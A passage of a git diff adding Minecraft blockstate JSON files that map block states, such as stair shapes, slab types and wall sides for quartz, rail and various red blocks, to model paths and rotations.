"axis=y": { + "model": "minecraft:block/quartz_pillar" + }, + "axis=z": { + "model": "minecraft:block/quartz_pillar_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/quartz_slab.json b/src/assets/minecraft/blockstates/quartz_slab.json new file mode 100644 index 00000000..6d2ae81b --- /dev/null +++ b/src/assets/minecraft/blockstates/quartz_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/quartz_slab" + }, + "type=double": { + "model": "minecraft:block/quartz_block" + }, + "type=top": { + "model": "minecraft:block/quartz_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/quartz_stairs.json b/src/assets/minecraft/blockstates/quartz_stairs.json new file mode 100644 index 00000000..083b0f64 --- /dev/null +++ b/src/assets/minecraft/blockstates/quartz_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/quartz_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/quartz_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/quartz_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/quartz_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/rail.json b/src/assets/minecraft/blockstates/rail.json new file mode 100644 index 00000000..4b1e4d04 --- /dev/null +++ b/src/assets/minecraft/blockstates/rail.json @@ -0,0 +1,40 @@ +{ + "variants": { + "shape=ascending_east": { + "model": "minecraft:block/rail_raised_ne", + "y": 90 + }, + "shape=ascending_north": { + "model": "minecraft:block/rail_raised_ne" + }, + "shape=ascending_south": { + "model": "minecraft:block/rail_raised_sw" + }, + "shape=ascending_west": { + "model": "minecraft:block/rail_raised_sw", + "y": 90 + }, + "shape=east_west": { + "model": "minecraft:block/rail", + "y": 90 + }, + "shape=north_east": { + "model": "minecraft:block/rail_corner", + "y": 270 + }, + "shape=north_south": { + "model": "minecraft:block/rail" + }, + "shape=north_west": { + "model": "minecraft:block/rail_corner", + "y": 180 + }, + "shape=south_east": { + "model": "minecraft:block/rail_corner" + }, + "shape=south_west": { + "model": "minecraft:block/rail_corner", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_banner.json b/src/assets/minecraft/blockstates/red_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/red_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_bed.json b/src/assets/minecraft/blockstates/red_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/red_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_carpet.json b/src/assets/minecraft/blockstates/red_carpet.json new file mode 100644 index 00000000..78866a8d --- /dev/null +++ b/src/assets/minecraft/blockstates/red_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_concrete.json b/src/assets/minecraft/blockstates/red_concrete.json new file mode 100644 index 00000000..ef1aedb0 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_concrete_powder.json b/src/assets/minecraft/blockstates/red_concrete_powder.json new file mode 100644 index 00000000..98e8099c --- /dev/null +++ b/src/assets/minecraft/blockstates/red_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/red_concrete_powder" + }, + { + "model": "minecraft:block/red_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/red_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/red_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_glazed_terracotta.json b/src/assets/minecraft/blockstates/red_glazed_terracotta.json new file mode 100644 index 00000000..920d1648 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/red_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/red_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/red_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/red_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_mushroom.json b/src/assets/minecraft/blockstates/red_mushroom.json new file mode 100644 index 00000000..9bb1dff2 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_mushroom.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_mushroom" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_mushroom_block.json b/src/assets/minecraft/blockstates/red_mushroom_block.json new file mode 100644 index 00000000..e8bbe920 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_mushroom_block.json @@ -0,0 +1,120 @@ +{ + "multipart": [ + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/red_mushroom_block" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/red_mushroom_block", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/red_mushroom_block", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/red_mushroom_block", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/red_mushroom_block", + "x": 270, + "uvlock": true + } + }, + { + "when": { + "down": "true" + }, + "apply": { + "model": "minecraft:block/red_mushroom_block", + "x": 90, + "uvlock": true + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 90, + "uvlock": false + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 180, + "uvlock": false + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 270, + "uvlock": false + } + }, + { + "when": { + "up": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "x": 270, + "uvlock": false + } + }, + { + "when": { + "down": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "x": 90, + "uvlock": false + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_nether_brick_slab.json b/src/assets/minecraft/blockstates/red_nether_brick_slab.json new file mode 100644 index 00000000..492c8f2f --- /dev/null +++ b/src/assets/minecraft/blockstates/red_nether_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/red_nether_brick_slab" + }, + "type=double": { + "model": "minecraft:block/red_nether_bricks" + }, + "type=top": { + "model": "minecraft:block/red_nether_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_nether_brick_stairs.json b/src/assets/minecraft/blockstates/red_nether_brick_stairs.json new file mode 100644 index 00000000..547e5036 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_nether_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/red_nether_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/red_nether_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/red_nether_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_nether_brick_wall.json b/src/assets/minecraft/blockstates/red_nether_brick_wall.json new file mode 100644 index 00000000..a2974b20 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_nether_brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/red_nether_brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_nether_bricks.json b/src/assets/minecraft/blockstates/red_nether_bricks.json new file mode 100644 index 00000000..75d6b4dc --- /dev/null +++ b/src/assets/minecraft/blockstates/red_nether_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_nether_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_sand.json b/src/assets/minecraft/blockstates/red_sand.json new file mode 100644 index 00000000..083533ba --- /dev/null +++ b/src/assets/minecraft/blockstates/red_sand.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/red_sand" + }, + { + "model": "minecraft:block/red_sand", + "y": 90 + }, + { + "model": "minecraft:block/red_sand", + "y": 180 + }, + { + "model": "minecraft:block/red_sand", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_sandstone.json b/src/assets/minecraft/blockstates/red_sandstone.json new file mode 100644 index 00000000..9f10b960 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_sandstone_slab.json b/src/assets/minecraft/blockstates/red_sandstone_slab.json new file mode 100644 index 00000000..e8fcb59d --- /dev/null +++ b/src/assets/minecraft/blockstates/red_sandstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/red_sandstone_slab" + }, + "type=double": { + "model": "minecraft:block/red_sandstone" + }, + "type=top": { + "model": "minecraft:block/red_sandstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_sandstone_stairs.json b/src/assets/minecraft/blockstates/red_sandstone_stairs.json new file mode 100644 index 00000000..50ed2fcc --- /dev/null +++ b/src/assets/minecraft/blockstates/red_sandstone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/red_sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/red_sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/red_sandstone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_sandstone_wall.json b/src/assets/minecraft/blockstates/red_sandstone_wall.json new file mode 100644 index 00000000..e3b5090f --- /dev/null +++ b/src/assets/minecraft/blockstates/red_sandstone_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/red_sandstone_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_shulker_box.json b/src/assets/minecraft/blockstates/red_shulker_box.json new file mode 100644 index 00000000..ce5bcc98 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_stained_glass.json b/src/assets/minecraft/blockstates/red_stained_glass.json new file mode 100644 index 00000000..7e6ffba8 --- /dev/null +++ b/src/assets/minecraft/blockstates/red_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/red_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_stained_glass_pane.json b/src/assets/minecraft/blockstates/red_stained_glass_pane.json new file mode 100644 index 00000000..422e403a --- /dev/null +++ b/src/assets/minecraft/blockstates/red_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/red_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/red_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/red_terracotta.json 